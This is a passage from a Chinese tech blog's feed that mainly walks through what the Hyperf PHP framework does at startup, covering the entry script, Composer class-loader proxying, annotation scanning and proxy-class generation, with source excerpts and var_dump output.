title="知识扩展"></a>知识扩展</h2><ul><li>目前hyperf/box还在尝鲜阶段,hyperf3.0也还没正式发布</li><li>有了这个可自执行文件,是不是以后也可以用php写命令行工具了</li><li>配合以后完善的hyperf/nano,可以仅使用协程功能打造命令行工具</li></ul><p>构建一个命令行工具应该用下面这些就可以了吧</p><ul><li><a href="https://github.com/crazywhalecc/php-cli-helper">https://github.com/crazywhalecc/php-cli-helper</a> 打包项目为phar</li><li><a href="https://github.com/crazywhalecc/static-php-cli">https://github.com/crazywhalecc/static-php-cli</a> 提供基础大众的micro</li><li><a href="https://github.com/symfony/console">https://github.com/symfony/console</a> 强大的命令行</li><li><a href="https://github.com/inhere/php-console">https://github.com/inhere/php-console</a> 功能全面的PHP命令行应用库</li></ul>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="hyperf" scheme="https://blog.lihq.xyz/tags/hyperf/"/>
</entry>
<entry>
<title>php bin/hyperf.php start 发生了啥</title>
<link href="https://blog.lihq.xyz/2022/07/13/php-bin-hyperf-start-what-happend/"/>
<id>https://blog.lihq.xyz/2022/07/13/php-bin-hyperf-start-what-happend/</id>
<published>2022-07-13T15:30:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="php-bin-hyperf-php-start-发生了啥"><a href="#php-bin-hyperf-php-start-发生了啥" class="headerlink" title="php bin/hyperf.php start 发生了啥"></a>php bin/hyperf.php start 发生了啥</h1><blockquote><p>用了这么久的hyperf框架,还没细细研究过源码,先看看start,入个门</p></blockquote><h2 id="先安装一个脚手架吧"><a href="#先安装一个脚手架吧" class="headerlink" title="先安装一个脚手架吧"></a>先安装一个脚手架吧</h2><ul><li>php 7.4</li><li>swoole 4.8.5</li><li>hyperf 2.2 - <a href="https://hyperf.wiki/2.2/#/">https://hyperf.wiki/2.2/#/</a><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer create-project hyperf/hyperf-skeleton:2.2 study-hyperf</span><br></pre></td></tr></table></figure></li></ul><h2 id="先直接运行一下,看看有啥变化"><a href="#先直接运行一下,看看有啥变化" class="headerlink" title="先直接运行一下,看看有啥变化"></a>先直接运行一下,看看有啥变化</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ php bin/hyperf.php</span><br></pre></td></tr></table></figure><p>可以看到整个项目有一些些变化,在runtime下面生成了几个文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">runtime</span><br><span class="line">├── container</span><br><span class="line">│ ├── aspects.cache</span><br><span class="line">│ ├── classes.cache</span><br><span class="line">│ ├── proxy</span><br><span class="line">│ │ ├── App_Controller_AbstractController.proxy.php</span><br><span class="line">│ │ └── App_Controller_IndexController.proxy.php</span><br><span class="line">│ └── scan.cache</span><br><span class="line">└── hyperf.pid</span><br></pre></td></tr></table></figure><p>得到几个疑问与猜想:</p><ol><li>aspects 切面?收集了项目内的切面信息?</li><li>classes 类?收集了类的什么信息?什么类?</li><li>scan 扫描?扫描了啥?结果又是啥?</li><li>proxy 代理?难道说有文件被代理了?</li><li>hyperf.pid pid?进程id吧?</li></ol><h2 id="入口文件"><a href="#入口文件" class="headerlink" title="入口文件"></a>入口文件</h2><blockquote><p>bin/hyperf.php</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env php</span><br><span class="line"><?php</span><br><span class="line"></span><br><span class="line">ini_set('display_errors', 'on');</span><br><span class="line">ini_set('display_startup_errors', 'on');</span><br><span class="line">ini_set('memory_limit', '1G');</span><br><span class="line"></span><br><span class="line">error_reporting(E_ALL);</span><br><span class="line"></span><br><span class="line">! defined('BASE_PATH') && define('BASE_PATH', dirname(__DIR__, 1));</span><br><span class="line">! defined('SWOOLE_HOOK_FLAGS') && define('SWOOLE_HOOK_FLAGS', SWOOLE_HOOK_ALL);</span><br><span class="line"></span><br><span class="line">require BASE_PATH . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">// Self-called anonymous function that creates its own scope and keep the global namespace clean.</span><br><span class="line">(function () {</span><br><span class="line"> Hyperf\Di\ClassLoader::init();</span><br><span class="line"> /** @var Psr\Container\ContainerInterface $container */</span><br><span class="line"> $container = require BASE_PATH . '/config/container.php';</span><br><span class="line"></span><br><span class="line"> $application = $container->get(Hyperf\Contract\ApplicationInterface::class);</span><br><span class="line"> $application->run();</span><br><span class="line">})();</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h3><ul><li><code>error_reporting(E_ALL)</code> 报告所有PHP错误</li><li><code>BASE_PATH</code> 太重要了,大部分文件扫描都用到它</li><li><code>SWOOLE_HOOK_FLAGS</code> 一键协程化的常量配置,后面start用到 <a href="https://wiki.swoole.com/#/runtime?id=swoole_hook_all">官方说明</a></li><li><code>composer</code> 的自动加载</li></ul><h4 id="朴实无华的4步走"><a href="#朴实无华的4步走" class="headerlink" title="朴实无华的4步走"></a>朴实无华的4步走</h4><ol><li>di加载器初始化</li><li>加载容器container</li><li>get app</li><li>app run</li></ol><p>这里使用了<code>(function() {})();</code>的写法,还没看懂为啥,上面说的是 创建自己的作用域并保持全局命名空间干净</p><h2 id="Hyperf-Di-ClassLoader-init-di加载器初始化"><a href="#Hyperf-Di-ClassLoader-init-di加载器初始化" class="headerlink" title="Hyperf\Di\ClassLoader::init() di加载器初始化"></a>Hyperf\Di\ClassLoader::init() di加载器初始化</h2><h3 id="说明-1"><a href="#说明-1" class="headerlink" title="说明"></a>说明</h3><ol><li>定义代理类目录 <code>$proxyFileDirPath</code></li><li>定义配置目录 <code>$configDir</code></li><li>定义扫描器 <code>$handler</code></li><li>代理composer的加载器 <code>\Hyperf\Di\ClassLoader</code></li><li>初始化懒加载 <code>\Hyperf\Di\LazyLoader\LazyLoader</code></li></ol><h3 id="不看细节,先看结果"><a href="#不看细节,先看结果" class="headerlink" title="不看细节,先看结果"></a>不看细节,先看结果</h3><blockquote><p>万物皆可 var_dump($loaders);</p></blockquote><p>以下内容做了美化与省略,只保留了一些关键点</p><p><strong>composer被代理前</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">Array</span><br><span class="line">(</span><br><span class="line"> [0] => Array</span><br><span class="line"> (</span><br><span class="line"> [0] => Composer\Autoload\ClassLoader Object</span><br><span class="line"> (</span><br><span class="line"> [vendorDir:Composer\Autoload\ClassLoader:private] => /Users/lihq1403/workspace/self/study-hyperf/vendor</span><br><span class="line"> [prefixLengthsPsr4:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [prefixDirsPsr4:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [fallbackDirsPsr4:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [prefixesPsr0:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [fallbackDirsPsr0:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [useIncludePath:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [classMap:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> (</span><br><span class="line"> [App\Controller\AbstractController] => /Users/lihq1403/workspace/self/study-hyperf/vendor/composer/../../app/Controller/AbstractController.php</span><br><span class="line"> [App\Controller\IndexController] => /Users/lihq1403/workspace/self/study-hyperf/vendor/composer/../../app/Controller/IndexController.php</span><br><span class="line"> 。。。 略</span><br><span class="line"> )</span><br><span class="line"> [classMapAuthoritative:Composer\Autoload\ClassLoader:private] =></span><br><span class="line"> [missingClasses:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [apcuPrefix:Composer\Autoload\ClassLoader:private] =></span><br><span class="line"> )</span><br><span class="line"> [1] => loadClass</span><br><span class="line"> )</span><br><span class="line"> [1] => Array</span><br><span class="line"> (</span><br><span class="line"> [0] => PHPStan\PharAutoloader</span><br><span class="line"> [1] => loadClass</span><br><span class="line"> )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>当前被<code>spl_autoload_register</code>的</p><ul><li><code>Composer\Autoload\ClassLoader@loadClass()</code></li><li><code>PHPStan\PharAutoloader@loadClass()</code></li></ul><p><strong>composer被代理后</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">Array</span><br><span class="line">(</span><br><span class="line"> [0] => Array</span><br><span class="line"> (</span><br><span class="line"> [0] => Hyperf\Di\LazyLoader\LazyLoader Object</span><br><span class="line"> (</span><br><span class="line"> [registered:protected] => 1</span><br><span class="line"> [config:protected] => Array</span><br><span class="line"> (</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> [1] => load</span><br><span class="line"> )</span><br><span class="line"> [1] => Array</span><br><span class="line"> (</span><br><span class="line"> [0] => Hyperf\Di\ClassLoader Object</span><br><span class="line"> (</span><br><span class="line"> [composerClassLoader:protected] => Composer\Autoload\ClassLoader Object</span><br><span class="line"> (</span><br><span class="line"> [vendorDir:Composer\Autoload\ClassLoader:private] => /Users/lihq1403/workspace/self/study-hyperf/vendor</span><br><span class="line"> [prefixLengthsPsr4:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [prefixDirsPsr4:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [fallbackDirsPsr4:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [prefixesPsr0:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [fallbackDirsPsr0:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [useIncludePath:Composer\Autoload\ClassLoader:private] =></span><br><span class="line"> [classMap:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> (</span><br><span class="line"> [App\Controller\AbstractController] => /Users/lihq1403/workspace/self/study-hyperf/vendor/composer/../../app/Controller/AbstractController.php</span><br><span class="line"> [App\Controller\IndexController] => /Users/lihq1403/workspace/self/study-hyperf/vendor/composer/../../app/Controller/IndexController.php</span><br><span class="line"> 。。。 略</span><br><span class="line"> )</span><br><span class="line"> [classMapAuthoritative:Composer\Autoload\ClassLoader:private] => </span><br><span class="line"> [missingClasses:Composer\Autoload\ClassLoader:private] => Array</span><br><span class="line"> [apcuPrefix:Composer\Autoload\ClassLoader:private] =></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> [proxies:protected] => Array</span><br><span class="line"> (</span><br><span class="line"> [App\Controller\AbstractController] => /Users/lihq1403/workspace/self/study-hyperf/runtime/container/proxy/App_Controller_AbstractController.proxy.php</span><br><span class="line"> [App\Controller\IndexController] => /Users/lihq1403/workspace/self/study-hyperf/runtime/container/proxy/App_Controller_IndexController.proxy.php</span><br><span class="line"> )</span><br><span class="line"> )</span><br><span class="line"> [1] => loadClass</span><br><span class="line"> )</span><br><span class="line"> [2] => Array</span><br><span class="line"> (</span><br><span class="line"> [0] => PHPStan\PharAutoloader</span><br><span class="line"> [1] => loadClass</span><br><span class="line"> )</span><br><span class="line">)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>当前被<code>spl_autoload_register</code>的</p><ul><li><code>Hyperf\Di\LazyLoader\LazyLoader@load()</code></li><li><code>Hyperf\Di\ClassLoader@loadClass()</code></li><li><code>PHPStan\PharAutoloader@loadClass()</code></li></ul><p>可以明显的看到,<code>spl_autoload_register</code>注册的东西被替换了,多了一个proxies的classmap,这不就是被代理的那两个类,看来以后加载这俩的时候,都去到了代理类</p><h3 id="先看Hyperf-Di-ClassLoader-loadClass"><a href="#先看Hyperf-Di-ClassLoader-loadClass" class="headerlink" title="先看Hyperf\Di\ClassLoader@loadClass()"></a>先看<code>Hyperf\Di\ClassLoader@loadClass()</code></h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">public function loadClass(string $class): void</span><br><span class="line">{</span><br><span class="line"> $path = $this->locateFile($class);</span><br><span class="line"></span><br><span class="line"> if ($path) {</span><br><span class="line"> include $path;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">protected function locateFile(string $className): ?string</span><br><span class="line">{</span><br><span class="line"> if (isset($this->proxies[$className]) && file_exists($this->proxies[$className])) {</span><br><span class="line"> $file = $this->proxies[$className];</span><br><span class="line"> } else {</span><br><span class="line"> $file = $this->getComposerClassLoader()->findFile($className);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> return is_string($file) ? $file : null;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>果然,在进行自动加载的时候,先判断了是否在proxies里面。如果不在,走composer的老路。如果存在,则加载代理类</li></ul><h3 id="深入Proxy-the-composer-class-loader"><a href="#深入Proxy-the-composer-class-loader" class="headerlink" title="深入Proxy the composer class loader"></a>深入<code>Proxy the composer class loader</code></h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">foreach ($loaders as &$loader) {</span><br><span class="line"> $unregisterLoader = $loader;</span><br><span class="line"> if (is_array($loader) && $loader[0] instanceof ComposerClassLoader) {</span><br><span class="line"> /** @var ComposerClassLoader $composerClassLoader */</span><br><span class="line"> $composerClassLoader = $loader[0];</span><br><span class="line"> AnnotationRegistry::registerLoader(function ($class) use ($composerClassLoader) {</span><br><span class="line"> return (bool) $composerClassLoader->findFile($class);</span><br><span class="line"> });</span><br><span class="line"> $loader[0] = new static($composerClassLoader, $proxyFileDirPath, $configDir, $handler);</span><br><span class="line"> }</span><br><span class="line"> spl_autoload_unregister($unregisterLoader);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里只对<code>ComposerClassLoader</code>做了处理,<code>AnnotationRegistry::registerLoader</code>是为了<code>doctrine/annotations</code>注解扫描做准备的</p><blockquote><p>在hyperf3的版本,弃用了phpdoc的注解模式,所以AnnotationRegistry::registerLoader也就没有了</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">public function __construct(ComposerClassLoader $classLoader, string $proxyFileDir, string $configDir, ScanHandlerInterface $handler)</span><br><span class="line">{</span><br><span class="line"> $this->setComposerClassLoader($classLoader);</span><br><span class="line"> if (file_exists(BASE_PATH . '/.env')) {</span><br><span class="line"> $this->loadDotenv();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // Scan by ScanConfig to generate the reflection class map</span><br><span class="line"> $config = ScanConfig::instance($configDir);</span><br><span class="line"> $classLoader->addClassMap($config->getClassMap());</span><br><span class="line"></span><br><span class="line"> $scanner = new Scanner($this, $config, $handler);</span><br><span class="line"></span><br><span class="line"> $this->proxies = $scanner->scan($this->getComposerClassLoader()->getClassMap(), $proxyFileDir);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="1-设置composer的老路"><a href="#1-设置composer的老路" class="headerlink" title="1. 设置composer的老路"></a>1. 设置composer的老路</h4><ul><li>这里除了保留composer原有的loader,还初始化了<code>\Hyperf\Utils\Composer</code>,后续再看</li></ul><h4 id="2-加载-env"><a href="#2-加载-env" class="headerlink" title="2. 加载 .env"></a>2. 加载 .env</h4><ul><li>也就是说,env函数,要在这一行之后才会生效,env的加载,使用了 <code>vlucas/phpdotenv</code></li><li>如果我们的项目需要在不同的时候,读取不同的env,看了这里,就简单了,比如,BASE_PATH . ‘/.env’ 可以不存在,然后在启动文件自己一个Dotenv加载就行</li></ul><h4 id="3-获取配置,每个包的ConfigProvider和config目录下-合并成一个Hyperf-Di-Annotation-ScanConfig"><a href="#3-获取配置,每个包的ConfigProvider和config目录下-合并成一个Hyperf-Di-Annotation-ScanConfig" class="headerlink" title="3. 获取配置,每个包的ConfigProvider和config目录下 合并成一个Hyperf\Di\Annotation\ScanConfig"></a>3. 获取配置,每个包的<code>ConfigProvider</code>和<code>config</code>目录下 合并成一个<code>Hyperf\Di\Annotation\ScanConfig</code></h4><h5 id="每一个ConfigProvider都需要有-invoke才能生效,也就是说,这里可以去执行一些东东"><a href="#每一个ConfigProvider都需要有-invoke才能生效,也就是说,这里可以去执行一些东东" class="headerlink" title="每一个ConfigProvider都需要有__invoke才能生效,也就是说,这里可以去执行一些东东"></a>每一个ConfigProvider都需要有__invoke才能生效,也就是说,这里可以去执行一些东东</h5><ul><li><code>\Hyperf\Di\ConfigProvider</code> 果然di包,就写了一些特殊执行,但我觉得这<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// Register AST visitors to the collector.</span><br><span class="line">if (! AstVisitorRegistry::exists(PropertyHandlerVisitor::class)) {</span><br><span class="line"> AstVisitorRegistry::insert(PropertyHandlerVisitor::class, PHP_INT_MAX / 2);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">if (! AstVisitorRegistry::exists(ProxyCallVisitor::class)) {</span><br><span class="line"> AstVisitorRegistry::insert(ProxyCallVisitor::class, PHP_INT_MAX / 2);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Register Property Handler.</span><br><span class="line">RegisterInjectPropertyHandler::register();</span><br></pre></td></tr></table></figure></li><li>往<code>AstVisitorRegistry</code>优先队列里面丢了两个代理类处理器</li><li><code>PropertyHandlerVisitor</code> 在__construct里处理属性的注解 <code>use \Hyperf\Di\Aop\PropertyHandlerTrait;</code></li><li><code>ProxyCallVisitor</code> 每个方法添加特殊的<code>__proxyCall</code>,<code>use \Hyperf\Di\Aop\ProxyTrait;</code></li><li>往<code>PropertyHandlerManager</code>注册了一个<code>Inject</code>的回调函数,后面有大用。简单的说,就是把当前注解里面映射的类,从容器里面取出来</li></ul><h5 id="合并ConfigProvider和config的配置"><a href="#合并ConfigProvider和config的配置" class="headerlink" title="合并ConfigProvider和config的配置"></a>合并ConfigProvider和config的配置</h5><ul><li>获取所有的annotations配置,即<code>paths 需要扫描的目录</code>,<code>ignore_annotations 忽略的注解</code>,<code>collectors 收集器</code>,<code>class_map 替换加载的类</code>,<code>global_imports</code></li><li>获取所有定义的<code>dependencies DI的依赖关系和类对应关系</code></li><li>获取<code>scan_cacheable</code>,扫描时是否使用缓存</li></ul><p>这里内置的collectors有</p><ul><li>Hyperf\Cache\CacheListenerCollector</li><li>Hyperf\Di\Annotation\AnnotationCollector 注解收集</li><li>Hyperf\Di\Annotation\AspectCollector 切面收集</li><li>Hyperf\ModelListener\Collector\ListenerCollector</li></ul><h5 id="将上面获取到的数据,初始化-Hyperf-Di-Annotation-ScanConfig"><a href="#将上面获取到的数据,初始化-Hyperf-Di-Annotation-ScanConfig" class="headerlink" title="将上面获取到的数据,初始化\Hyperf\Di\Annotation\ScanConfig"></a>将上面获取到的数据,初始化<code>\Hyperf\Di\Annotation\ScanConfig</code></h5><h4 id="4-添加composer的ClassMap"><a href="#4-添加composer的ClassMap" class="headerlink" title="4. 添加composer的ClassMap"></a>4. 添加composer的ClassMap</h4><ul><li><a href="https://hyperf.wiki/2.2/#/zh-cn/annotation?id=classmap-%e5%8a%9f%e8%83%bd">https://hyperf.wiki/2.2/#/zh-cn/annotation?id=classmap-%e5%8a%9f%e8%83%bd</a></li></ul><h4 id="4-初始化注解扫描器-Hyperf-Di-Annotation-Scanner"><a href="#4-初始化注解扫描器-Hyperf-Di-Annotation-Scanner" class="headerlink" title="4. 初始化注解扫描器\Hyperf\Di\Annotation\Scanner"></a>4. 初始化注解扫描器<code>\Hyperf\Di\Annotation\Scanner</code></h4><ul><li>添加忽略注解与全局导入</li></ul><h4 id="5-扫扫扫"><a href="#5-扫扫扫" class="headerlink" title="5. 扫扫扫"></a>5. 扫扫扫</h4><h5 id="使用缓存"><a href="#使用缓存" class="headerlink" title="使用缓存"></a>使用缓存</h5><ul><li>文件存在,并且缓存配置是开启的,那么直接读取<code>scan.cache</code></li><li>给每个<code>collector</code>添加扫描结果</li></ul><h5 id="fork子进程进行扫描"><a href="#fork子进程进行扫描" class="headerlink" title="fork子进程进行扫描"></a>fork子进程进行扫描</h5><blockquote><p>通过子进程来完成缓存文件的生成,巧妙的避开了spl_autoload_register下会污染当前父进程的autoload的弊端。通过子进程完成扫描动作,传递结果文件给父进程,父进程直接进行自动加载即可。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$scanned = $this->handler->scan();</span><br></pre></td></tr></table></figure><p>当不传入handler时,使用默认的<code>\Hyperf\Di\ScanHandler\PcntlScanHandler</code>,先进行 <code>pcntl_fork</code>之后父进程一直等待<code>pcntl_wait</code>子进程结束。也就是说,这个地方的$scanned,其实会返回两次,一次在父进程里(true),一次在子进程里(false)</p><h5 id="scanned-false-子进程"><a href="#scanned-false-子进程" class="headerlink" title="$scanned === false 子进程"></a>$scanned === false 子进程</h5><h6 id="再次运行-this-gt-deserializeCachedScanData-collectors"><a href="#再次运行-this-gt-deserializeCachedScanData-collectors" class="headerlink" title="再次运行$this->deserializeCachedScanData($collectors);"></a>再次运行<code>$this->deserializeCachedScanData($collectors);</code></h6><ul><li>没有<code>scan.cache</code>时,不做处理</li><li>有<code>scan.cache</code>时,$collectors存入上次扫描的结果</li></ul><h6 id="初始化-Hyperf-Di-Annotation-AnnotationReader"><a href="#初始化-Hyperf-Di-Annotation-AnnotationReader" class="headerlink" title="初始化 \Hyperf\Di\Annotation\AnnotationReader"></a>初始化 \Hyperf\Di\Annotation\AnnotationReader</h6><ul><li>todo</li></ul><h6 id="获取所有的反射类"><a href="#获取所有的反射类" class="headerlink" title="获取所有的反射类"></a>获取所有的反射类</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$classes = ReflectionManager::getAllClasses($paths);</span><br></pre></td></tr></table></figure><ul><li>扫描目录下的所有php文件</li><li>解析文件内容,如果是class,就反射</li><li>形成一个所有反射类的数组映射</li></ul><h6 id="清理-collectors被移除的class"><a href="#清理-collectors被移除的class" class="headerlink" title="清理$collectors被移除的class"></a>清理$collectors被移除的class</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$this->clearRemovedClasses($collectors, $classes);</span><br></pre></td></tr></table></figure><ul><li>这个地方总是生成最新反射类扫描结果 <code>classes.cache</code></li><li>没有<code>classes.cache</code>时,array_diff不会有结果,也就不做处理</li><li>有<code>classes.cache</code>时,比较上次与现在的区别,$collectors清理被移除的类</li></ul><h6 id="清理修改过的类文件"><a href="#清理修改过的类文件" class="headerlink" title="清理修改过的类文件"></a>清理修改过的类文件</h6><ul><li>循环所有的反射类 $classes</li><li>如果文件修改时间大于<code>scan.cache</code>文件修改时间,即上次扫描时间,那么就清理$collectors中的当前类,重新收集该类的信息</li></ul><h6 id="收集注解的信息"><a href="#收集注解的信息" class="headerlink" title="收集注解的信息"></a>收集注解的信息</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$this->collect($annotationReader, $reflectionClass);</span><br></pre></td></tr></table></figure><p>普通注解<code>\Hyperf\Di\Annotation\AbstractAnnotation</code></p><ul><li>只是保存注解到<code>AnnotationCollector</code></li><li>AnnotationCollector::collectClass($className, static::class, $this);</li><li>AnnotationCollector::collectProperty($className, $target, static::class, $this);</li><li>AnnotationCollector::collectMethod($className, $target, static::class, $this);</li></ul><p><strong>1. 解析class的注解</strong></p><blockquote><p>public function collectClass(string $className): void;</p></blockquote><p>用<code>\Hyperf\Di\Annotation\Aspect</code>作为特殊例子</p><ul><li>先保存注解到<code>AnnotationCollector</code> 注解收集器 [_c]</li><li><code>AspectLoader::load($className);</code> 用于获取注解里面的配置信息</li><li>通过代码可以发现,类的配置优先于注解的配置</li><li>保存注解的配置到<code>AspectCollector</code> 切面收集器</li></ul><p><strong>2. 解析property的注解</strong></p><blockquote><p>public function collectProperty(string $className, ?string $target): void;</p></blockquote><p>用<code>\Hyperf\Di\Annotation\Inject</code>作为特殊例子</p><ul><li>获取注入的类,优先通过反射获取<code>$reflectionProperty->getType()->getName()</code>,再通过phpdoc去获取</li><li>如果是lazy===true,那么在注入类前面加上<code>'HyperfLazy\\'</code>前缀,用于标记该类为懒加载</li><li>保存注解到<code>AnnotationCollector</code> 注解收集器 [_p]</li></ul><p><strong>3. 解析method的注解</strong></p><blockquote><p>public function collectMethod(string $className, ?string $target): void;</p></blockquote><p>用<code>\Hyperf\Cache\Annotation\Cacheable</code>作为特殊例子</p><ul><li>如果有listener,则添加<code>CacheListenerCollector</code></li><li>保存注解到<code>AnnotationCollector</code> 注解收集器 [_m]</li></ul><h6 id="加载配置文件的切面"><a href="#加载配置文件的切面" class="headerlink" title="加载配置文件的切面"></a>加载配置文件的切面</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$this->loadAspects($lastCacheModified);</span><br></pre></td></tr></table></figure><ul><li>先合并ConfigProvider、config.php、config/aspect.php的配置,得到最终的<code>$aspects</code></li><li><code>getChangedAspects</code>出现了<code>aspects.cache</code>,可以看出config/aspect.php配置的无法定义优先级</li><li>获取移除和修改的切面</li><li>接下来跟<code>\Hyperf\Di\Annotation\Aspect</code>注解的收集是一样的</li></ul><h6 id="生成代理类"><a href="#生成代理类" class="headerlink" 